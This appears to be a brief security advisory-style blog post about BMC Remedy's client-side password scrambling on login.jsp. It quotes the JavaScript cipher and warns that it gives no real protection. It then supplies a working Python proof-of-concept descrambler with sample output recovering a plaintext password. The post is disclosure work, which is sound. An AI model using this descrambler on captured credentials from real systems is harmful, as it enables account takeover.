BMC Remedy Password Descrambling

The BMC Remedy application scrambles the users password with client side javascript on the login.jsp page.

// Scrambles passwords using simple cipher algorithm
function getScrambledPassword(pwd) {
    var cipher = ['k', 's', 'z', 'h', 'x', 'b', 'p', 'j', 'v', 'c', 'g', 'f', 'q', 'n', 't', 'm'];
    var result="";
    if (pwd == null)
        pwd = "";
    pwd = encodeURIComponent(pwd);
    //alert("encoded password: " + pwd);
    for(var i=0;i<pwd.length;i++) {
            var cc = pwd.charCodeAt(i);
        result += cipher[Math.floor(cc/16)] + cipher[cc%16];
    }
    //alert("scrambled password: " + result);
    return result;
}

This is a very weak encryption cipher and easily decoded, so provides no real protection for your passwords. Ensure your web application is only served over HTTPS to protect your password and do not rely on this functionality. The following proof of concept reverses the cipher:

password.py

1. #!/usr/bin/python
2. from array import *
3. import sys
5. if len(sys.argv) != 2:
6.         print "# BMC Remedy Password Descrambler"
7.         print "# Author: Meatballs"
8.         print "# Usage: ./password.py ciphertext"
9. else:
10.         cipherText = sys.argv[1]
11.         print "CipherText: " + cipherText
13.         cipher = array('c', 'kszhxbpjvcgfqntm')
14.         plainText = "PlainText: "
15.         i = 0
17.         while i < len(cipherText):
18.                 x = cipher.index(cipherText[i]) * 16
19.                 i += 1
20.                 y = cipher.index(cipherText[i])
21.                 z = x + y
22.                 plainText += chr(z)
23.                 i += 1
25.         print plainText

Example output:

root@bt:/root/# ./password.py bkpsjhjhjjhkjzpxzs
CipherText: bkpsjhjhjjhkjzpxzs
PlainText: Passw0rd!

Read more:

http://myitpath.blogspot.co.uk/2010/09/reversing-remedy-passwords.html